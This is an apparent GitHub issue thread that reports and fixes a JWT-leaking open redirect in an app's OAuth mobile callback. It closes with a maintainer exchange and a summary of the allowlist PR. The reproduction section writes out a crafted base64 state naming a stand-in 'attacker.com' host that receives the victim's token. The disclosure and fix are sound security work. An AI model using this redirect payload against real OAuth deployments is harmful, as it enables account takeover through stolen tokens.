OAuth callbacks trust unvalidated state and allow arbitrary mobile redirect token exfiltration

[Ridanshi]

Summary

The OAuth callback flow currently trusts attacker-controlled state payloads without performing any server-side validation.

Additionally, mobile_redirect_uri is decoded directly from the supplied state value and used as a redirect target without any allowlist enforcement.

This creates:

• OAuth CSRF risk,
• account-linking integrity issues,
• and JWT token exfiltration through arbitrary redirect targets.

---

Affected File

apps/backend/src/routes/auth.ts

---

Root Cause

The OAuth flow generates state values containing:

{
  "mobile_redirect_uri": "...",
  "nonce": "..."
}

However:

• the nonce is never persisted server-side,
• the callback never validates the state,
• and the redirect URI is trusted directly from the attacker-controlled payload.

Current callback behavior:

const { mobile_redirect_uri } = JSON.parse(atob(state));

if (mobile_redirect_uri) {
  return reply.redirect(`${mobile_redirect_uri}#token=${token}`);
}

There is currently:

• no Redis/session nonce validation,
• no replay protection,
• and no redirect allowlist.

---

Security Impact

1. OAuth CSRF

Attackers can:

• initiate OAuth flows themselves,
• manipulate callback state,
• and interfere with victim authorization flows.

2. JWT Token Exfiltration

Attackers can supply:

{
  "mobile_redirect_uri": "https://attacker.com"
}

After OAuth completion, the backend redirects:

https://attacker.com#token=<victim-jwt>

This leaks authenticated JWTs directly to attacker-controlled infrastructure.

---

Reproduction

Craft malicious state:

STATE=$(echo -n '{"mobile_redirect_uri":"https://attacker.com"}' | base64)

Victim visits:

https://api.devcard.app/auth/github?state=$STATE

After successful OAuth authorization:

https://attacker.com#token=<victim-jwt>

receives the victim token.

---

Proposed Fix

Implement proper server-side OAuth state validation.

Recommended approach:

During OAuth initiation

• generate cryptographically secure nonce
• store nonce in Redis/session storage
• apply short expiration window

During callback

• validate returned nonce
• reject unknown/expired/replayed state values
• consume nonce after successful validation

Redirect Validation

Restrict mobile_redirect_uri to a strict allowlist of approved application schemes/domains.

Reject:

• arbitrary http://
• arbitrary https://
• unknown origins

---

Acceptance Criteria

• OAuth state is validated server-side
• replay attacks are rejected
• arbitrary redirect URIs are blocked
• JWTs cannot be redirected to attacker-controlled origins
• invalid/expired state values fail safely
• existing OAuth flows continue functioning correctly

---

Why This Matters

This issue affects the integrity of the authentication system itself and enables direct token theft through attacker-controlled OAuth callback flows.

[Ridanshi]

Hi @Harxhit,

I’d like to work on this issue under GSSoC'26.

I’ve already reviewed the OAuth callback flow and understand the missing state-validation and redirect-validation behavior causing the vulnerability. I can work on implementing secure nonce validation, replay protection, and safe redirect handling while preserving the existing OAuth experience.

Could you please assign this issue to me?

[Harxhit]

After reviewing the current implementation, we do perform OAuth state validation via a short-lived cookie and clear it after successful callback, so I want to clarify the remaining concern.

My question is specifically about the redirect issue:

Are you suggesting that an attacker could successfully initiate the OAuth flow themselves using an attacker-controlled mobile_redirect_uri, have the victim complete authentication in the same browser session, and then receive the issued JWT via the mobile redirect flow?

If so, could you clarify the exact exploitation path you are assuming and whether the concern is specifically the lack of a redirect allowlist rather than missing OAuth state validation itself?

[Ridanshi]

Thanks for the detailed clarification, after reviewing the current implementation more carefully, I agree that the existing short-lived cookie-based state validation substantially mitigates the classic OAuth CSRF/account-linking concern I originally described.

The remaining concern I intended to highlight is specifically around trusting mobile_redirect_uri as a redirect target rather than the absence of state validation itself.

The attack model I was considering is:

1. An attacker crafts an OAuth initiation link containing an attacker-controlled mobile_redirect_uri

2. The victim initiates the flow in their own browser/session, so the state cookie is legitimately created for that session

3. The victim completes GitHub authentication normally

4. The callback validates state successfully against the cookie

5. The server then redirects using:

   reply.redirect(`${mobile_redirect_uri}#token=${token}`);

6. Because the redirect target is trusted directly from state without allowlist enforcement, the JWT can potentially be delivered to an attacker-controlled origin/application scheme

So I agree the core remaining concern is better framed as:

• lack of redirect allowlist enforcement for mobile_redirect_uri
• rather than missing OAuth state validation itself

The current cookie validation correctly proves “this callback belongs to the browser session that initiated the flow,” but it does not validate whether the final redirect target itself is trusted.

I’m happy to reframe the issue accordingly if that aligns better with the actual risk surface.

[Harxhit]

@Ridanshi I have assigned this issue to you.

[Ridanshi]

PR #358 addresses issue #299 by adding strict allowlist validation for mobile OAuth redirect targets.

The implementation now:

• validates mobile_redirect_uri against the configured allowlist
• rejects arbitrary HTTPS redirect targets
• rejects malformed redirect values
• rejects unknown/custom schemes
• validates redirect targets before OAuth state encoding and before callback redirects

Focused regression coverage was added for:

• valid allowlisted mobile redirects
• arbitrary redirect rejection
• malformed redirect rejection
• unknown scheme rejection
• preserving existing web OAuth behavior
• safe failure before token exchange on invalid redirects

The change is intentionally scoped only to mobile OAuth redirect-target validation. Existing OAuth state validation, cookie validation, Firebase assumptions, token generation, and overall OAuth architecture remain unchanged.